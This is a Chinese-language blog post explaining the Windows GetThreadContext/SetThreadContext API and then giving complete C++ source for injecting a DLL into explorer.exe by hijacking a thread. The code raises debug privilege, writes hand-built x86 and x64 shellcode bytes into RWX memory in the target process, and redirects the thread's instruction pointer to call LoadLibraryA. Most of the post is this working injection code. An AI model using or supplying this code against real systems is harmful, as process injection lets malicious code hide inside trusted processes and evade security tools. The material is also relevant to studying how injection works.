Dll注入:x86/X64 SetThreadContext 注入

在《Windows核心编程》第七章说到了线程优先级等知识,其中谈到了ThreadContext线程上下背景文。

其中介绍了GetThreadContext函数来查看线程内核对象的内部,并获取当前CPU寄存器状态的集合。

BOOL GetThreadContext (
HANDLE  hThread,
PCONTEXT  pContext);

 

若要调用该函数,只需指定一个CONTEXT结构,对某些标志(该结构的ContextFlags成员)进行初始化,指明想要收回哪些寄存器,并将该结构的地址传递给GetThreadContext 。然后该函数将数据填入你要求的成员。
在调用GetThreadContext函数之前,应该调用SuspendThread,否则,线程可能刚好被调度,这样一来,线程的上下文就和所获取的信息不一致了。
示例代码如下: 
      

   CONTEXT Context;                  //定义一个CONTEXT结构
   Context.ContextFlags = CONTEXT_CONTROL;    //告诉系统我们想获取线程控制寄存器的内容   
   GetThreadContext(hThread, &Context);      //调用GetThreadContext获取相关信息

 

Ps:在调用GetThreadContext函数之前,必须首先初始化CONTEXT结构的ContextFlags成员。
要获得线程的所有重要的寄存器(也就是微软认为最常用的寄存器),应该像下面一样初始化ContextFlags:
Context.ContextFlags = CONTEXT_FULL;

通过vs2015的<winnt.h>中的定义可知CONTEXT的结构:

typedef struct _CONTEXT {

    //
    // The flags values within this flag control the contents of
    // a CONTEXT record.
    //
    // If the context record is used as an input parameter, then
    // for each portion of the context record controlled by a flag
    // whose value is set, it is assumed that that portion of the
    // context record contains valid context. If the context record
    // is being used to modify a threads context, then only that
    // portion of the threads context will be modified.
    //
    // If the context record is used as an IN OUT parameter to capture
    // the context of a thread, then only those portions of the thread's
    // context corresponding to set flags will be returned.
    //
    // The context record is never used as an OUT only parameter.
    //

    DWORD ContextFlags;

    //
    // This section is specified/returned if CONTEXT_DEBUG_REGISTERS is
    // set in ContextFlags.  Note that CONTEXT_DEBUG_REGISTERS is NOT
    // included in CONTEXT_FULL.
    //

    DWORD   Dr0;
    DWORD   Dr1;
    DWORD   Dr2;
    DWORD   Dr3;
    DWORD   Dr6;
    DWORD   Dr7;

    //
    // This section is specified/returned if the
    // ContextFlags word contians the flag CONTEXT_FLOATING_POINT.
    //

    FLOATING_SAVE_AREA FloatSave;

    //
    // This section is specified/returned if the
    // ContextFlags word contians the flag CONTEXT_SEGMENTS.
    //

    DWORD   SegGs;
    DWORD   SegFs;
    DWORD   SegEs;
    DWORD   SegDs;

    //
    // This section is specified/returned if the
    // ContextFlags word contians the flag CONTEXT_INTEGER.
    //

    DWORD   Edi;
    DWORD   Esi;
    DWORD   Ebx;
    DWORD   Edx;
    DWORD   Ecx;
    DWORD   Eax;

    //
    // This section is specified/returned if the
    // ContextFlags word contians the flag CONTEXT_CONTROL.
    //

    DWORD   Ebp;
    DWORD   Eip;
    DWORD   SegCs;              // MUST BE SANITIZED
    DWORD   EFlags;             // MUST BE SANITIZED
    DWORD   Esp;
    DWORD   SegSs;

    //
    // This section is specified/returned if the ContextFlags word
    // contains the flag CONTEXT_EXTENDED_REGISTERS.
    // The format and contexts are processor specific
    //

    BYTE    ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];

} CONTEXT;

 


在WinNT. h头文件中,定义了CONTEXT_FULL为CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS。
当然,我们还可以通过调用SetThreadContext函数来改变结构中的成员,并把新的寄存器值放回线程的内核对象中

BOOL SetThreadContext (
HANDLE  hThread,
CONST CONTEXT  *pContext);

  由此考虑到可以修改EIP的值,来执行我们的代码,实现注入。首先我们先挂起目标线程,

         CONTEXT Context;      //定义一个CONTEXT结构      
         SuspendThread(hThread);  //挂起线程  
         ThreadContext.ContextFlags = CONTEXT_ALL;  //修改对Context操作的权限
         GetThreadContext(hThread, &Context);       //获得Context信息
         BufferData = VirtualAllocEx()  //在目标线程申请内存 来执行我们的shellcode
         编写shellcode 
     WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL) // 写入shellcode
     ThreadContext.Eip = (UINT32)BufferData //修改EIP指向
         Context.ContextFlags = CONTEXT_CONTROL;
         SetThreadContext(hThread, &Context);   //重新设置线程上下文
         ResumeThread(hThread);         //恢复线程,现在线程开始从BufferData这个地方开始执行指令

 

 

// SetThreadContext.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
#include <iostream>

using namespace std;

BOOL GrantPriviledge(WCHAR* PriviledgeName);
BOOL GetProcessIdByProcessImageName(IN WCHAR* wzProcessImageName, OUT UINT32* TargetProcessId);
BOOL GetThreadIdByProcessId(UINT32 ProcessId, vector<UINT32>& ThreadIdVector);
BOOL Inject(UINT32 ProcessId, UINT32 ThreadId);


#ifdef _WIN64

UINT8    ShellCode[0x100] = {
    0x48,0x83,0xEC,0x28,    

    0x48,0x8D,0x0d,            
    0x00,0x00,0x00,0x00,    


    0xff,0x15,                
    0x00,0x00,0x00,0x00,    

    0x48,0x83,0xc4,0x28,    

    
    0xff,0x25,                
    0x00,0x00,0x00,0x00,    

    
    0x00,0x00,0x00,0x00,    
    0x00,0x00,0x00,0x00,    

    0x00,0x00,0x00,0x00,    
    0x00,0x00,0x00,0x00,    

};
#else

UINT8    ShellCode[0x100] = {
    0x60,                    
    0x9c,                    
    0x68,                    
    0x00,0x00,0x00,0x00,    
    0xff,0x15,                
    0x00,0x00,0x00,0x00,    
    0x9d,                    
    0x61,                    
    0xff,0x25,                
    0x00,0x00,0x00,0x00,    


    0x00,0x00,0x00,0x00,    

    0x00,0x00,0x00,0x00,

    0x00,0x00,0x00,0x00        
};

#endif


CHAR    DllFullPath[MAX_PATH] = { 0 };

int main()
{
    // 提权
    if (GrantPriviledge(SE_DEBUG_NAME) == FALSE)
    {
        printf("GrantPriviledge Error\r\n");
    }

    UINT32    ProcessId = 0;

    GetCurrentDirectoryA(MAX_PATH, DllFullPath);

#ifdef _WIN64
    GetProcessIdByProcessImageName(L"explorer.exe", &ProcessId);

    strcat_s(DllFullPath, "\\x64Dll.dll");
#else
    GetProcessIdByProcessImageName(L"explorer.exe", &ProcessId);
    strcat_s(DllFullPath, "\\x86Dll.dll");
#endif

    //枚举到线程id
    vector<UINT32> ThreadIdVector;
    GetThreadIdByProcessId(ProcessId, ThreadIdVector);

    for (UINT32 ThreadId : ThreadIdVector)
    {
        Inject(ProcessId, ThreadId);
        break;            
    }

    Sleep(3000);

    return 0;
}

UINT32    Count = 0;
BOOL Inject(UINT32 ProcessId, UINT32 ThreadId)
{
    HANDLE    ThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadId);
    HANDLE    ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);

    // 首先挂起线程
    SuspendThread(ThreadHandle);

    CONTEXT        ThreadContext = { 0 };
    ThreadContext.ContextFlags = CONTEXT_ALL;
    if (GetThreadContext(ThreadHandle, &ThreadContext) == FALSE)
    {
        cout << GetLastError() << endl;
        CloseHandle(ThreadHandle);
        CloseHandle(ProcessHandle);
        return FALSE;
    }

    PVOID    BufferData = VirtualAllocEx(ProcessHandle, NULL, sizeof(ShellCode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (BufferData != NULL)
    {
        UINT_PTR    LoadLibraryAddress = (UINT_PTR)GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "LoadLibraryA");
        if (LoadLibraryAddress != NULL)
        {
#ifdef _WIN64

            // ShellCode + 43
            PUINT8    v1 = ShellCode + 43;
            memcpy(v1, DllFullPath, strlen(DllFullPath) + 1);
            UINT32    DllNameOffset = (UINT32)(((PUINT8)BufferData + 43) - ((PUINT8)BufferData + 4) - 7);
            *(PUINT32)(ShellCode + 7) = DllNameOffset;

            // ShellCode + 35
            *(PUINT64)(ShellCode + 35) = (UINT64)LoadLibraryAddress;
            UINT32    LoadLibraryAddressOffset = (UINT32)(((PUINT8)BufferData + 35) - ((PUINT8)BufferData + 11) - 6);
            *(PUINT32)(ShellCode + 13) = LoadLibraryAddressOffset;

            *(PUINT64)(ShellCode + 27) = ThreadContext.Rip;
            
            if (!WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL))
            {
                return FALSE;
            }
            ThreadContext.Rip = (UINT64)BufferData;

#else
            PUINT8    v1 = ShellCode + 29;

            memcpy((char*)v1, DllFullPath, strlen(DllFullPath) + 1);    
            *(PUINT32)(ShellCode + 3) = (UINT32)BufferData + 29;

            *(PUINT32)(ShellCode + 25) = LoadLibraryAddress;  
            *(PUINT32)(ShellCode + 9) = (UINT32)BufferData + 25;
                                                             
            *(PUINT32)(ShellCode + 21) = ThreadContext.Eip;
            *(PUINT32)(ShellCode + 17) = (UINT32)BufferData + 21;
            if (!WriteProcessMemory(ProcessHandle, BufferData, ShellCode, sizeof(ShellCode), NULL))
            {
                printf("write Process Error\n");
                return FALSE;
            }
            ThreadContext.Eip = (UINT32)BufferData;

#endif            
            if (!SetThreadContext(ThreadHandle, &ThreadContext))
            {
                printf("set thread context error\n");
                return FALSE;
            }
            ResumeThread(ThreadHandle);

            printf("ShellCode 注入完成: %d\r\n", ++Count);
        }
    }

    CloseHandle(ThreadHandle);
    CloseHandle(ProcessHandle);
    return TRUE;
}

//获得线程ID
BOOL GetThreadIdByProcessId(UINT32 ProcessId, vector<UINT32>& ThreadIdVector)
{
    HANDLE            ThreadSnapshotHandle = NULL;
    THREADENTRY32    ThreadEntry32 = { 0 };

    ThreadEntry32.dwSize = sizeof(THREADENTRY32);

    ThreadSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (ThreadSnapshotHandle == INVALID_HANDLE_VALUE)
    {
        return FALSE;
    }

    Thread32First(ThreadSnapshotHandle, &ThreadEntry32);
    do
    {
        if (ThreadEntry32.th32OwnerProcessID == ProcessId)
        {
            ThreadIdVector.emplace_back(ThreadEntry32.th32ThreadID);        // 把该进程的所有线程id压入模板
        }
    } while (Thread32Next(ThreadSnapshotHandle, &ThreadEntry32));

    CloseHandle(ThreadSnapshotHandle);
    ThreadSnapshotHandle = NULL;
    return TRUE;
}


BOOL GetProcessIdByProcessImageName(IN WCHAR* wzProcessImageName, OUT UINT32* TargetProcessId)
{
    HANDLE            ProcessSnapshotHandle = NULL;
    PROCESSENTRY32    ProcessEntry32 = { 0 };

    ProcessEntry32.dwSize = sizeof(PROCESSENTRY32);        

    ProcessSnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);    

    if (ProcessSnapshotHandle == INVALID_HANDLE_VALUE)
    {
        return FALSE;
    }

    Process32First(ProcessSnapshotHandle, &ProcessEntry32);        
    do
    {
        if (lstrcmpi(ProcessEntry32.szExeFile, wzProcessImageName) == 0)        
        {
            *TargetProcessId = ProcessEntry32.th32ProcessID;
            break;
        }
    } while (Process32Next(ProcessSnapshotHandle, &ProcessEntry32));

    CloseHandle(ProcessSnapshotHandle);
    ProcessSnapshotHandle = NULL;
    return TRUE;
}



// 提限
BOOL GrantPriviledge(WCHAR* PriviledgeName)
{
    TOKEN_PRIVILEGES TokenPrivileges, OldPrivileges;
    DWORD             dwReturnLength = sizeof(OldPrivileges);
    HANDLE             TokenHandle = NULL;
    LUID             uID;

    // 打开权限令牌
    if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &TokenHandle))
    {
        if (GetLastError() != ERROR_NO_TOKEN)
        {
            return FALSE;
        }
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle))
        {
            return FALSE;
        }
    }

    //查看权限令牌
    if (!LookupPrivilegeValue(NULL, PriviledgeName, &uID))        
    {
        CloseHandle(TokenHandle);
        return FALSE;
    }

    TokenPrivileges.PrivilegeCount = 1;        
    TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;    
    TokenPrivileges.Privileges[0].Luid = uID;

    // 调整权限
    if (!AdjustTokenPrivileges(TokenHandle, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), &OldPrivileges, &dwReturnLength))
    {
        CloseHandle(TokenHandle);
        return FALSE;
    }

    CloseHandle(TokenHandle);
    return TRUE;
}

该方法注入explorer,只能注入一次,然后需要重启电脑。

posted @ 2017-02-24 16:17  HsinTsao  阅读(3368)  评论(0编辑  收藏  举报